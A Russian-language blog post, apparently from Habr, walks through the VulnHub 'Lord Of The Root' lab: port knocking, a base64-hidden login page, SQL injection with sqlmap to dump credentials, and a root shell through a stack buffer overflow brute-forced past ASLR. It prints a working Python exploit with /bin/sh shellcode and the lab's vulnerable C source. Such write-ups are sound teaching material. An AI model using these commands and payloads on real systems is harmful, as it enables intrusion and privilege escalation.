Pull to refresh

VulnHub: Эксплуатируем уязвимость переполнения буфера в Lord Of The Root

Reading time 6 min
Views 10K


Продолжаем разбор квестов с VulnHub, на этот раз попался довольно интересный с обходом ASLR: Lord Of The Root. Но обо всём по порядку...

Запускаем виртуалку с образом:


Уже интересно. В этой лабе нам предоставили графический интерфейс, и дали первую зацепку, в виде логина пользователя: smeagol.

Но оставим пока авторизацию, и перейдём к изучению открытых портов:

$ sudo arp-scan -l | grep "CADMUS COMPUTER SYSTEMS" | awk '{print $1}' | xargs sudo nmap -sV -p1-65535

Starting Nmap 7.01 ( nmap.org ) at 2016-12-21 19:33 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00033s latency).
Not shown: 999 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 3c:3d:e3:8e:35:f9:da:74:20:ef:aa:49:4a:1d:ed:dd (DSA)
| 2048 85:94:6c:87:c9:a8:35:0f:2c:db:bb:c1:3f:2a:50:c1 (RSA)
|_ 256 f3:cd:aa:1d:05:f2:1e:8c:61:87:25:b6:f4:34:45:37 (ECDSA)
MAC Address: 08:00:27:40:B5:B3 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 — 3.19, Linux 3.2 — 4.0
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Всего 1 порт? Серьёзно? Запустив nmap повторно, убеждаемся, что пока нам доступен только ssh. Попробуем подключиться:

$ ssh smeagol@192.168.1.175


«Постучи друг, чтобы войти» — отсылка к Властелину Колец. Быстро найдя, что в оригинале друг — это mellon, пробуем авторизоваться.

Попытка оказалась неудачной, брутфорс логинов и возможных паролей по тематике тоже не дал результатов.

Меня смутило слово постучи, уже имея дело с port knocking, я предположил что он и тут используется.

Проверяем догадку:

$ sudo knock 192.168.1.175 1 2 3; ssh smeagol@192.168.1.175

К сожалению, ничего не изменилось. авторизация по прежнему требуется. А что если, после «стука» открывается какой-то порт?

$ sudo knock 192.168.1.175 1 2 3; sudo nmap 192.168.1.175 -sV -p1-65535

Спустя продолжительное время, получаем такой результат:

Starting Nmap 7.01 ( nmap.org ) at 2016-12-22 02:42 MSK
Nmap scan report for 192.168.1.175
Host is up (0.00020s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.3 (Ubuntu Linux; protocol 2.0)
1337/tcp open http Apache httpd 2.4.7 ((Ubuntu))
MAC Address: 08:00:27:39:91:65 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

P.S. Тут стоит оговориться, что для ускорения процесса, сканировать порты лучше небольшими диапазонами.

Действительно, на «элитном» порту крутится Apache, посмотрим что там:


<html>
<img src="/images/iwilldoit.jpg" align="middle">
</html>

Не многословно… После анализа картинки, в ней тоже ничего не было найдено. Возможно есть скрытые файлы и директории?

sudo dirsearch -u http://192.168.1.175:1337/ -e php,html,js,json,jpg,txt,bak -w /usr/share/dirb/wordlists/big.txt



Ничего интересного, на всякий случай заглянув на 404.html, получаем ещё одно изображение:



И вот такой код:

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

А вот это уже что-то! Декодируем:

$ echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d
Lzk3ODM0NTIxMC9pbmRleC5waHA= Closer!
$ echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d
/978345210/index.php

Ссылка на на ещё одну старницу, переходим туда:



Авторизация… Проверяем первым делом на наличие SQL инъекций:

$ sudo sqlmap -u 'http://192.168.1.175:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' -vv



Нас редиректнуло. Сказав sqlmap продолжить искать, проверяем что находится на странице profile.php. Авторизуемся, используя найденный payload.


<!DOCTYPE html>
<html>
<head>
<title>LOTR Profile</title>
</head>
<body>
<div id="profile">
<b id="welcome">Welcome : <i></i></b>
<br> <img src="/images/legolas.jpg" align="middle"><br>
<b id="logout"><a href="logout.php">Log Out</a></b>
</div>
</body>
</html>

Не найдя тут ничего интересного, продолжаем раскручивать инъекцию:

$ sudo sqlmap -u 'http://10.0.31.127:1337/978345210/index.php' --data='username=%22&password=%22&submit=+Login+' --dbms=MySQL -p username --tables --risk=3 --level=2

В лог sqlmap попала база данных: Webapp и единственная таблица: Users. После дампа которой, получаем список логинов и паролей:



Тут есть пользователь smeagol, полагаясь на то, что пароль от веб такой же как пароль от системы, пробуем авторизоваться и получаем рабочий стол. Отлично!

В истории команд видим записи:
smeagol@LordOfTheRoot:~$ cat .bash_history
su — sudo /etc/passwod
visudo
smeagol@LordOfTheRoot:~$

Открыв браузер, в истории можно проследить весь этап создания этой лабы:



Тут же видим ссылку, на описание уязвимости с переполнением буфера.

Далее при беглом осмотре системы находим папку /SECRET со следующим содержимым:



Почитав статью, понимаем, что один из этих файлов имеет описанную там уязвимость, а ниже находим пример эксплойта. Осталось понять какой из файлов. Скачиваем их себе и открываем в IDA, для любителей gdb в виртуалке могут использовать его.



/SECRET/door1/file



/SECRET/door2/file



/SECRET/door3/file

И так, нужный нам файл находится за «второй дверью», если внимательно посмотреть, то заметно, что размер этого файла меньше чем у остальных. Копируем эксплоит, компилим его, запускаем, и ничего. Пробуем подставить другие числа, и снова ничего.

Открыв этот файл в gdb прямо на виртуальной машине, видим что он изменился! О как… Понаблюдав ещё некоторое время, замечаем, что уязвимый файл, постоянно «перемещается» между этими директориями.

Далее шла череда безуспешных попыток воспользоваться этим эксплойтом, на все попытки я либо ничего в ответ не получал, либо это была ошибка «Segmentation fault» либо «Illegal instruction»
После долгих экспериментов и просмотра состояния регистров и стека, до и после обработки входной строки, я заметил, что адрес стека всё меняется в диапазоне от 0xBF000000 до 0xBFFFFFFF.

Выполнив команду:

$ cat /proc/sys/kernel/randomize_va_space 2

Убеждаемся, что в системе включен ASLR. Есть несколько способов его обхода, о них уже неоднократно писалось ранее. Я остановился на BruteForce, потому что диапазон изменения памяти не такой большой, да и файл слишком прост, чтобы всё усложнять.

Нам потребуется GDB Peda.

Для начала, нужно определиться со смещением по которому находится адрес возврата, именно его и нужно будет переписать.



Запускаем наш файл в отладчике, передав ему очень длинную строку в качестве аргумента



Отлично, адрес возврата (EIP) перезаписан нашим значением.

Далее, с помощью шаблонов в peda можно автоматически определить смещение по которому этот адрес расположен. Создаём шаблон:



И после запуска получаем примерно такой вывод:



Смещения найдены (я брал примерно среднее значение адреса стека), можно приступить к написанию эксплоита. Там же в peda можно на выбор сгенерировать шелл-код:



Однако сразу стоит предупредить, что у вас могут быть другие смещения.

#!/usr/bin/python
import struct
import os

def p(x):
    return struct.pack("<L", x)

shell = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\x6a\x0b\x58\xcd\x80"

payload = ""

payload += "A"*171
payload += p(0xbfb1c5ec)
payload += "\x90"*30000
payload += shell

def getFile():
    output = subprocess.Popen(['find', '/SECRET/', '-type', 'f', '-size', '-7k'], stdout=subprocess.PIPE)
    path = output.communicate()[0]
    path = path.decode().strip()
    return path

while True:
    os.system('%s "%s"' %(getFile(), payload))

#os.system('gdb --args %s "%s"' %(getFile(), payload))

После запуска получаем кучу ошибок, и спустя некоторое время получаем root доступ, а вместе с ним и флаг:



P.S. Кому интересно, вот так выглядели исходники, скрипта меняющего файлы и уязвимая программа. Скрипт switcher.py был прописан в cron.

switcher.py
#!/usr/bin/python
import os
from random import randint

targets= ["/SECRET/door1/","/SECRET/door2/","/SECRET/door3/"]
for t in targets:
   os.system("rm "+t+"*")
   os.system("cp -p other "+t)
   os.system("cp -p "+t+"other "+t+"file")
   os.system("rm "+t+"other")

luckyDoor = randint(0,2)
t=targets[luckyDoor]
os.system("rm "+t+"*")
os.system("cp -p buf "+t)
os.system("cp -p "+t+"buf "+t+"file")
os.system("rm "+t+"buf")


other.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){
        char buff[150];
        if(argc <2){
                printf("Syntax: %s <input string>\n", argv[0]);
                exit (0);

        }
  //This Program does nothing
  return 0;

}


buf.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]){

	char buff[159];
	if(argc <2){
   		printf("Syntax: %s <input string>\n", argv[0]);
		exit (0);

     	}
  strcpy(buff, argv[1]);
  return 0;

}

Tags:
Hubs:
+24
Comments 0
Comments Leave a comment

Articles